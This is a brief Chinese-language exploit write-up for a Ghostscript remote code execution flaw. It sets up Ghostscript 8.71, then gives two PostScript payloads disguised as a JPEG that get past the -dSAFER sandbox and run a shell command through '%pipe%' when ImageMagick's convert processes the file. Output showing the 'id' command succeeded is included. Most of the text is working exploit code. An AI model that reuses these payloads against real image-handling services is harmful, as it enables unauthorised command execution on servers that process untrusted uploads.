Ghostscript远程代码执行漏洞利用方法

gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null

yum install ghostscript

[root@srv62 ~]# cd /usr/local
[root@srv62 src]# wget http://ghostscript.com/releases/ghostscript-8.71.tar.gz
[root@srv62 src]# tar zxvf ghostscript-8.71.tar.gz
[root@srv62 src]# cd ghostscript-8.71
[root@srv62 ghostscript-8.71]# ./configure --prefix=/usr
[root@srv62 ghostscript-8.71]# mkdir obj
[root@srv62 ghostscript-8.71]# mkdir bin
[root@srv62 ghostscript-8.71]# make all
[root@srv62 ghostscript-8.71]# make install

vim shell.jpe

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

/usr/local/bin/convert shell.jpeg what.gif

uid=500(rong) gid=500(rong) groups=500(rong)
convert: FailedToExecuteCommand `"gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pngalpha" -dTextAlphaBits=4 -dGraphicsAlphaBits=4 "-r72x72" -g612x792  "-sOutputFile=/tmp/magick-55636ecO6hPgbKE2Y%d" "-f/tmp/magick-55636NeGRLWbqeU7E" "-f/tmp/magick-55636jIlkxkc2rfdl" -c showpage' (-1) @ error/utility.c/SystemCommand/2051.
convert: no images defined `what.gif' @ error/convert.c/ConvertImageCommand/3187

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops